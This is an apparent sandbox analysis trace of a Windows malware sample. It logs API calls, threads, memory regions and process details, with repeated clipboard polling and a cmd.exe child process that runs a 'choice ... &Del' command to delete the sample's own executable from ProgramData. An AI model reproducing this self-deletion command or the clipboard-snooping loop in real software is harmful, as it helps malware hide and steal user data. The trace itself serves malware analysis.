[0138.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x5b0000) returned 1
[0138.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c68 | out: hHeap=0x5b0000) returned 1
[0138.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deaf8 | out: hHeap=0x5b0000) returned 1
[0138.912] Sleep (dwMilliseconds=0x32)
[0138.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xad8473a5, dwHighDateTime=0x1d96e12))
[0138.965] OpenClipboard (hWndNewOwner=0x0) returned 1
[0138.965] GetClipboardData (uFormat=0x1) returned 0x5e0028
[0138.965] GlobalLock (hMem=0x5e0028) returned 0x5e0028
[0138.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de8c8
[0138.965] GlobalUnlock (hMem=0x5e0028) returned 1
[0138.965] CloseClipboard () returned 1
[0138.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de8c8 | out: hHeap=0x5b0000) returned 1
[0138.965] Sleep (dwMilliseconds=0x32)
[0139.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xad9ead10, dwHighDateTime=0x1d96e12))
[0139.146] OpenClipboard (hWndNewOwner=0x0) returned 1
[0139.146] GetClipboardData (uFormat=0x1) returned 0x5e02f8
[0139.146] GlobalLock (hMem=0x5e02f8) returned 0x5e02f8
[0139.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5debd8
[0139.146] GlobalUnlock (hMem=0x5e02f8) returned 1
[0139.146] CloseClipboard () returned 1
[0139.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5debd8 | out: hHeap=0x5b0000) returned 1
[0139.146] Sleep (dwMilliseconds=0x32)
[0139.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xadaa997a, dwHighDateTime=0x1d96e12))
[0139.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0139.226] GetClipboardData (uFormat=0x1) returned 0x5e0148
[0139.226] GlobalLock (hMem=0x5e0148) returned 0x5e0148
[0139.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0139.226] GlobalUnlock (hMem=0x5e0148) returned 1
[0139.226] CloseClipboard () returned 1
[0139.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0139.226] Sleep (dwMilliseconds=0x32)
[0139.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xadc4d327, dwHighDateTime=0x1d96e12))
[0139.392] OpenClipboard (hWndNewOwner=0x0) returned 1
[0139.392] GetClipboardData (uFormat=0x1) returned 0x5e03e8
[0139.392] GlobalLock (hMem=0x5e03e8) returned 0x5e03e8
[0139.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0139.392] GlobalUnlock (hMem=0x5e03e8) returned 1
[0139.392] CloseClipboard () returned 1
[0139.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0139.392] Sleep (dwMilliseconds=0x32)
Thread:
id = 150
os_tid = 0xda4
Thread:
id = 151
os_tid = 0xda0
[0127.742] GetCurrentProcess () returned 0xffffffff
[0127.743] GetCurrentProcess () returned 0xffffffff
[0127.744] GetCurrentProcess () returned 0xffffffff
[0127.744] GetCurrentProcess () returned 0xffffffff
[0127.745] GetCurrentProcess () returned 0xffffffff
[0127.756] GetCurrentProcess () returned 0xffffffff
[0128.196] GetCurrentProcess () returned 0xffffffff
[0128.285] GetCurrentProcess () returned 0xffffffff
[0128.286] GetCurrentProcess () returned 0xffffffff
[0128.287] GetCurrentProcess () returned 0xffffffff
[0128.288] GetCurrentProcess () returned 0xffffffff
[0128.327] GetCurrentProcess () returned 0xffffffff
[0128.328] GetCurrentProcess () returned 0xffffffff
Thread:
id = 152
os_tid = 0xd9c
[0128.197] GetCurrentProcess () returned 0xffffffff
[0128.198] GetCurrentProcess () returned 0xffffffff
[0128.200] GetCurrentProcess () returned 0xffffffff
[0128.201] GetCurrentProcess () returned 0xffffffff
[0128.201] GetCurrentProcess () returned 0xffffffff
[0128.202] GetCurrentProcess () returned 0xffffffff
[0128.204] GetCurrentProcess () returned 0xffffffff
[0128.204] GetCurrentProcess () returned 0xffffffff
[0128.208] GetCurrentProcess () returned 0xffffffff
[0128.208] GetCurrentProcess () returned 0xffffffff
[0128.213] GetCurrentProcess () returned 0xffffffff
[0128.214] GetCurrentProcess () returned 0xffffffff
[0128.214] GetCurrentProcess () returned 0xffffffff
[0128.215] GetCurrentProcess () returned 0xffffffff
[0128.216] GetCurrentProcess () returned 0xffffffff
[0128.218] GetCurrentProcess () returned 0xffffffff
[0128.219] GetCurrentProcess () returned 0xffffffff
[0128.220] GetCurrentProcess () returned 0xffffffff
[0128.221] GetCurrentProcess () returned 0xffffffff
[0128.223] GetCurrentProcess () returned 0xffffffff
[0128.224] GetCurrentProcess () returned 0xffffffff
[0128.227] GetCurrentProcess () returned 0xffffffff
[0128.228] GetCurrentProcess () returned 0xffffffff
[0128.229] GetCurrentProcess () returned 0xffffffff
[0128.230] GetCurrentProcess () returned 0xffffffff
[0128.231] GetCurrentProcess () returned 0xffffffff
[0128.233] GetCurrentProcess () returned 0xffffffff
[0128.234] GetCurrentProcess () returned 0xffffffff
[0128.308] GetCurrentProcess () returned 0xffffffff
[0128.309] GetCurrentProcess () returned 0xffffffff
[0128.319] GetCurrentProcess () returned 0xffffffff
[0128.320] GetCurrentProcess () returned 0xffffffff
[0128.321] GetCurrentProcess () returned 0xffffffff
[0128.322] GetCurrentProcess () returned 0xffffffff
[0128.322] GetCurrentProcess () returned 0xffffffff
[0128.323] GetCurrentProcess () returned 0xffffffff
[0128.324] GetCurrentProcess () returned 0xffffffff
[0128.342] GetCurrentProcess () returned 0xffffffff
[0128.344] GetCurrentProcess () returned 0xffffffff
[0128.344] GetCurrentProcess () returned 0xffffffff
[0128.351] GetCurrentProcess () returned 0xffffffff
[0128.351] GetCurrentProcess () returned 0xffffffff
[0128.352] GetCurrentProcess () returned 0xffffffff
[0128.353] GetCurrentProcess () returned 0xffffffff
Thread:
id = 153
os_tid = 0x1028
Process:
id = "11"
image_name = "cmd.exe"
filename = "c:\\windows\\system32\\cmd.exe"
page_root = "0x7605000"
os_pid = "0xd94"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "5"
os_parent_pid = "0x135c"
cmd_line = "C:\\Windows\\system32\\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\\ProgramData\\23111707348706201124.exe"
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 2041
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 2042
start_va = 0x4ac3a40000
end_va = 0x4ac3b3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000004ac3a40000"
filename = ""
Region:
id = 2043
start_va = 0x4ac3c00000
end_va = 0x4ac3dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000004ac3c00000"
filename = ""
Region:
id = 2044
start_va = 0x2342cd50000
end_va = 0x2342cd6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cd50000"
filename = ""
Region:
id = 2045
start_va = 0x2342cd70000
end_va = 0x2342cd84fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000002342cd70000"
filename = ""
Region:
id = 2046
start_va = 0x2342cd90000
end_va = 0x2342cd93fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000002342cd90000"
filename = ""
Region:
id = 2047
start_va = 0x2342cda0000
end_va = 0x2342cda0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000002342cda0000"
filename = ""
Region:
id = 2048
start_va = 0x2342cdb0000
end_va = 0x2342cdb1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cdb0000"
filename = ""
Region:
id = 2049
start_va = 0x7df5ff750000
end_va = 0x7ff5ff74ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ff750000"
filename = ""
Region:
id = 2050
start_va = 0x7ff667110000
end_va = 0x7ff667132fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff667110000"
filename = ""
Region:
id = 2051
start_va = 0x7ff667b10000
end_va = 0x7ff667b69fff
monitored = 1
entry_point = 0x7ff667b253f0
region_type = mapped_file
name = "cmd.exe"
filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")
Region:
id = 2052
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 2053
start_va = 0x2342cdc0000
end_va = 0x2342cfeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cdc0000"
filename = ""
Region:
id = 2054
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 2055
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 2056
start_va = 0x2342cd50000
end_va = 0x2342cd5ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000002342cd50000"
filename = ""
Region:
id = 2057
start_va = 0x7ff667010000
end_va = 0x7ff66710ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff667010000"
filename = ""
Region:
id = 2058
start_va = 0x2342cdc0000
end_va = 0x2342ce7dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 2059
start_va = 0x2342cef0000
end_va = 0x2342cfeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cef0000"
filename = ""
Region:
id = 2122
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 2123
start_va = 0x4ac3e00000
end_va = 0x4ac3efffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000004ac3e00000"
filename = ""
Region:
id = 2124
start_va = 0x2342cff0000
end_va = 0x2342d1effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cff0000"
filename = ""
Region:
id = 2125
start_va = 0x2342cd60000
end_va = 0x2342cd66fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342cd60000"
filename = ""
Region:
id = 2126
start_va = 0x2342ce80000
end_va = 0x2342ce86fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000002342ce80000"
filename = ""
Region:
id = 2127
start_va = 0x2342d1f0000
end_va = 0x2342d526fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Thread:
id = 154
os_tid = 0xd98
[0133.253] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffc6e496e50
[0133.253] GetProcessHeap () returned 0x2342cef0000
[0133.253] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x4012) returned 0x2342cefb890
[0133.253] GetProcessHeap () returned 0x2342cef0000
[0133.253] RtlFreeHeap (HeapHandle=0x2342cef0000, Flags=0x0, BaseAddress=0x2342cefb890) returned 1
[0133.254] _wcsicmp (_String1="choice", _String2=")") returned 58
[0133.254] _wcsicmp (_String1="FOR", _String2="choice") returned 3
[0133.254] _wcsicmp (_String1="FOR/?", _String2="choice") returned 3
[0133.254] _wcsicmp (_String1="IF", _String2="choice") returned 6
[0133.254] _wcsicmp (_String1="IF/?", _String2="choice") returned 6
[0133.254] _wcsicmp (_String1="REM", _String2="choice") returned 15
[0133.254] _wcsicmp (_String1="REM/?", _String2="choice") returned 15
[0133.254] GetProcessHeap () returned 0x2342cef0000
[0133.254] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb0) returned 0x2342cef85a0
[0133.254] GetProcessHeap () returned 0x2342cef0000
[0133.254] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x1e) returned 0x2342cef07d0
[0133.255] GetProcessHeap () returned 0x2342cef0000
[0133.255] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x38) returned 0x2342cef0860
[0133.255] GetProcessHeap () returned 0x2342cef0000
[0133.255] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb0) returned 0x2342cef8660
[0133.256] _wcsicmp (_String1="Del", _String2=")") returned 59
[0133.256] _wcsicmp (_String1="FOR", _String2="Del") returned 2
[0133.256] _wcsicmp (_String1="FOR/?", _String2="Del") returned 2
[0133.256] _wcsicmp (_String1="IF", _String2="Del") returned 5
[0133.256] _wcsicmp (_String1="IF/?", _String2="Del") returned 5
[0133.256] _wcsicmp (_String1="REM", _String2="Del") returned 14
[0133.256] _wcsicmp (_String1="REM/?", _String2="Del") returned 14
[0133.256] GetProcessHeap () returned 0x2342cef0000
[0133.256] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xb0) returned 0x2342cef8720
[0133.256] GetProcessHeap () returned 0x2342cef0000
[0133.256] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x18) returned 0x2342cef08a0
[0133.258] GetProcessHeap () returned 0x2342cef0000
[0133.258] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x62) returned 0x2342cef87e0
[0133.258] GetConsoleTitleW (in: lpConsoleTitle=0x4ac3b3f760, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0133.259] _wcsicmp (_String1="choice", _String2="DIR") returned -1
[0133.259] _wcsicmp (_String1="choice", _String2="ERASE") returned -2
[0133.259] _wcsicmp (_String1="choice", _String2="DEL") returned -1
[0133.259] _wcsicmp (_String1="choice", _String2="TYPE") returned -17
[0133.259] _wcsicmp (_String1="choice", _String2="COPY") returned -7
[0133.259] _wcsicmp (_String1="choice", _String2="CD") returned 4
[0133.259] _wcsicmp (_String1="choice", _String2="CHDIR") returned 11
[0133.259] _wcsicmp (_String1="choice", _String2="RENAME") returned -15
[0133.259] _wcsicmp (_String1="choice", _String2="REN") returned -15
[0133.259] _wcsicmp (_String1="choice", _String2="ECHO") returned -2
[0133.259] _wcsicmp (_String1="choice", _String2="SET") returned -16
[0133.259] _wcsicmp (_String1="choice", _String2="PAUSE") returned -13
[0133.259] _wcsicmp (_String1="choice", _String2="DATE") returned -1
[0133.259] _wcsicmp (_String1="choice", _String2="TIME") returned -17
[0133.259] _wcsicmp (_String1="choice", _String2="PROMPT") returned -13
[0133.259] _wcsicmp (_String1="choice", _String2="MD") returned -10
[0133.259] _wcsicmp (_String1="choice", _String2="MKDIR") returned -10
[0133.259] _wcsicmp (_String1="choice", _String2="RD") returned -15
[0133.259] _wcsicmp (_String1="choice", _String2="RMDIR") returned -15
[0133.259] _wcsicmp (_String1="choice", _String2="PATH") returned -13
[0133.259] _wcsicmp (_String1="choice", _String2="GOTO") returned -4
[0133.259] _wcsicmp (_String1="choice", _String2="SHIFT") returned -16
[0133.259] _wcsicmp (_String1="choice", _String2="CLS") returned -4
[0133.259] _wcsicmp (_String1="choice", _String2="CALL") returned 7
[0133.259] _wcsicmp (_String1="choice", _String2="VERIFY") returned -19
[0133.260] _wcsicmp (_String1="choice", _String2="VER") returned -19
[0133.260] _wcsicmp (_String1="choice", _String2="VOL") returned -19
[0133.260] _wcsicmp (_String1="choice", _String2="EXIT") returned -2
[0133.260] _wcsicmp (_String1="choice", _String2="SETLOCAL") returned -16
[0133.260] _wcsicmp (_String1="choice", _String2="ENDLOCAL") returned -2
[0133.260] _wcsicmp (_String1="choice", _String2="TITLE") returned -17
[0133.260] _wcsicmp (_String1="choice", _String2="START") returned -16
[0133.260] _wcsicmp (_String1="choice", _String2="DPATH") returned -1
[0133.260] _wcsicmp (_String1="choice", _String2="KEYS") returned -8
[0133.260] _wcsicmp (_String1="choice", _String2="MOVE") returned -10
[0133.260] _wcsicmp (_String1="choice", _String2="PUSHD") returned -13
[0133.260] _wcsicmp (_String1="choice", _String2="POPD") returned -13
[0133.260] _wcsicmp (_String1="choice", _String2="ASSOC") returned 2
[0133.260] _wcsicmp (_String1="choice", _String2="FTYPE") returned -3
[0133.260] _wcsicmp (_String1="choice", _String2="BREAK") returned 1
[0133.260] _wcsicmp (_String1="choice", _String2="COLOR") returned -7
[0133.260] _wcsicmp (_String1="choice", _String2="MKLINK") returned -10
[0133.261] _wcsicmp (_String1="choice", _String2="DIR") returned -1
[0133.261] _wcsicmp (_String1="choice", _String2="ERASE") returned -2
[0133.261] _wcsicmp (_String1="choice", _String2="DEL") returned -1
[0133.261] _wcsicmp (_String1="choice", _String2="TYPE") returned -17
[0133.261] _wcsicmp (_String1="choice", _String2="COPY") returned -7
[0133.261] _wcsicmp (_String1="choice", _String2="CD") returned 4
[0133.261] _wcsicmp (_String1="choice", _String2="CHDIR") returned 11
[0133.261] _wcsicmp (_String1="choice", _String2="RENAME") returned -15
[0133.261] _wcsicmp (_String1="choice", _String2="REN") returned -15
[0133.261] _wcsicmp (_String1="choice", _String2="ECHO") returned -2
[0133.261] _wcsicmp (_String1="choice", _String2="SET") returned -16
[0133.261] _wcsicmp (_String1="choice", _String2="PAUSE") returned -13
[0133.261] _wcsicmp (_String1="choice", _String2="DATE") returned -1
[0133.261] _wcsicmp (_String1="choice", _String2="TIME") returned -17
[0133.261] _wcsicmp (_String1="choice", _String2="PROMPT") returned -13
[0133.261] _wcsicmp (_String1="choice", _String2="MD") returned -10
[0133.261] _wcsicmp (_String1="choice", _String2="MKDIR") returned -10
[0133.261] _wcsicmp (_String1="choice", _String2="RD") returned -15
[0133.262] _wcsicmp (_String1="choice", _String2="RMDIR") returned -15
[0133.262] _wcsicmp (_String1="choice", _String2="PATH") returned -13
[0133.262] _wcsicmp (_String1="choice", _String2="GOTO") returned -4
[0133.262] _wcsicmp (_String1="choice", _String2="SHIFT") returned -16
[0133.262] _wcsicmp (_String1="choice", _String2="CLS") returned -4
[0133.262] _wcsicmp (_String1="choice", _String2="CALL") returned 7
[0133.262] _wcsicmp (_String1="choice", _String2="VERIFY") returned -19
[0133.262] _wcsicmp (_String1="choice", _String2="VER") returned -19
[0133.262] _wcsicmp (_String1="choice", _String2="VOL") returned -19
[0133.262] _wcsicmp (_String1="choice", _String2="EXIT") returned -2
[0133.262] _wcsicmp (_String1="choice", _String2="SETLOCAL") returned -16
[0133.262] _wcsicmp (_String1="choice", _String2="ENDLOCAL") returned -2
[0133.262] _wcsicmp (_String1="choice", _String2="TITLE") returned -17
[0133.262] _wcsicmp (_String1="choice", _String2="START") returned -16
[0133.262] _wcsicmp (_String1="choice", _String2="DPATH") returned -1
[0133.262] _wcsicmp (_String1="choice", _String2="KEYS") returned -8
[0133.262] _wcsicmp (_String1="choice", _String2="MOVE") returned -10
[0133.262] _wcsicmp (_String1="choice", _String2="PUSHD") returned -13
[0133.262] _wcsicmp (_String1="choice", _String2="POPD") returned -13
[0133.262] _wcsicmp (_String1="choice", _String2="ASSOC") returned 2
[0133.262] _wcsicmp (_String1="choice", _String2="FTYPE") returned -3
[0133.262] _wcsicmp (_String1="choice", _String2="BREAK") returned 1
[0133.262] _wcsicmp (_String1="choice", _String2="COLOR") returned -7
[0133.262] _wcsicmp (_String1="choice", _String2="MKLINK") returned -10
[0133.262] _wcsicmp (_String1="choice", _String2="FOR") returned -3
[0133.262] _wcsicmp (_String1="choice", _String2="IF") returned -6
[0133.262] _wcsicmp (_String1="choice", _String2="REM") returned -15
[0133.262] GetProcessHeap () returned 0x2342cef0000
[0133.263] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x218) returned 0x2342cef8850
[0133.263] GetProcessHeap () returned 0x2342cef0000
[0133.263] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x46) returned 0x2342cef8a70
[0133.263] _wcsnicmp (_String1="choi", _String2="cmd ", _MaxCount=0x4) returned -5
[0133.263] GetProcessHeap () returned 0x2342cef0000
[0133.263] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x420) returned 0x2342cef8ac0
[0133.263] SetErrorMode (uMode=0x0) returned 0x8003
[0133.263] SetErrorMode (uMode=0x1) returned 0x0
[0133.263] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2342cef8ad0, lpFilePart=0x4ac3b3f000 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x4ac3b3f000*="Desktop") returned 0x1d
[0133.263] SetErrorMode (uMode=0x8003) returned 0x1
[0133.263] GetProcessHeap () returned 0x2342cef0000
[0133.263] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef8ac0, Size=0x5a) returned 0x2342cef8ac0
[0133.263] GetProcessHeap () returned 0x2342cef0000
[0133.263] RtlSizeHeap (HeapHandle=0x2342cef0000, Flags=0x0, MemoryPointer=0x2342cef8ac0) returned 0x5a
[0133.263] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff667b496a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c
[0133.263] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
[0133.264] GetProcessHeap () returned 0x2342cef0000
[0133.264] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x18a) returned 0x2342cef8b30
[0133.264] GetProcessHeap () returned 0x2342cef0000
[0133.264] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x304) returned 0x2342cef8cd0
[0133.272] GetProcessHeap () returned 0x2342cef0000
[0133.272] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef8cd0, Size=0x18c) returned 0x2342cef8cd0
[0133.272] GetProcessHeap () returned 0x2342cef0000
[0133.272] RtlSizeHeap (HeapHandle=0x2342cef0000, Flags=0x0, MemoryPointer=0x2342cef8cd0) returned 0x18c
[0133.272] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff667b496a0, nSize=0x2000 | out: lpBuffer="") returned 0x35
[0133.273] GetProcessHeap () returned 0x2342cef0000
[0133.273] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0xe8) returned 0x2342cef8e70
[0133.274] GetProcessHeap () returned 0x2342cef0000
[0133.275] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef8e70, Size=0x7e) returned 0x2342cef8e70
[0133.275] GetProcessHeap () returned 0x2342cef0000
[0133.275] RtlSizeHeap (HeapHandle=0x2342cef0000, Flags=0x0, MemoryPointer=0x2342cef8e70) returned 0x7e
[0133.275] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0133.275] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\choice.*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\choice.*"), fInfoLevelId=0x1, lpFindFileData=0x4ac3b3ed80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ac3b3ed80) returned 0xffffffffffffffff
[0133.275] GetLastError () returned 0x2
[0133.275] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0133.275] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\choice.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\choice.*"), fInfoLevelId=0x1, lpFindFileData=0x4ac3b3ed80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ac3b3ed80) returned 0xffffffffffffffff
[0133.276] GetLastError () returned 0x2
[0133.276] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0133.276] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.*" (normalized: "c:\\windows\\system32\\choice.*"), fInfoLevelId=0x1, lpFindFileData=0x4ac3b3ed80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ac3b3ed80) returned 0x2342cef8f00
[0133.276] GetProcessHeap () returned 0x2342cef0000
[0133.276] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x0, Size=0x28) returned 0x2342cef0800
[0133.276] FindClose (in: hFindFile=0x2342cef8f00 | out: hFindFile=0x2342cef8f00) returned 1
[0133.276] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.COM" (normalized: "c:\\windows\\system32\\choice.com"), fInfoLevelId=0x1, lpFindFileData=0x4ac3b3ed80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ac3b3ed80) returned 0xffffffffffffffff
[0133.277] GetLastError () returned 0x2
[0133.277] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\choice.EXE" (normalized: "c:\\windows\\system32\\choice.exe"), fInfoLevelId=0x1, lpFindFileData=0x4ac3b3ed80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ac3b3ed80) returned 0x2342cef8f00
[0133.277] GetProcessHeap () returned 0x2342cef0000
[0133.277] RtlReAllocateHeap (Heap=0x2342cef0000, Flags=0x0, Ptr=0x2342cef0800, Size=0x8) returned 0x2342cef0800
[0133.277] FindClose (in: hFindFile=0x2342cef8f00 | out: hFindFile=0x2342cef8f00) returned 1
[0133.277] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
[0133.277] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
[0133.277] GetConsoleTitleW (in: lpConsoleTitle=0x4ac3b3f2e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0133.278] InitializeProcThreadAttributeList (in: lpAttributeList=0x4ac3b3f200, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x4ac3b3f100 | out: lpAttributeList=0x4ac3b3f200, lpSize=0x4ac3b3f100) returned 1
[0133.278] UpdateProcThreadAttribute (in: lpAttributeList=0x4ac3b3f200, dwFlags=0x0, Attribute=0x60001, lpValue=0x4ac3b3f0ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x4ac3b3f200, lpPreviousValue=0x0) returned 1
[0133.278] GetStartupInfoW (in: lpStartupInfo=0x4ac3b3f190 | out: lpStartupInfo=0x4ac3b3f190*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0133.278] GetProcessHeap () returned 0x2342cef0000
[0133.278] RtlAllocateHeap (HeapHandle=0x2342cef0000, Flags=0x8, Size=0x20) returned 0x2342cef8f00
[0133.278] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
[0133.278] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
[0133.278] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
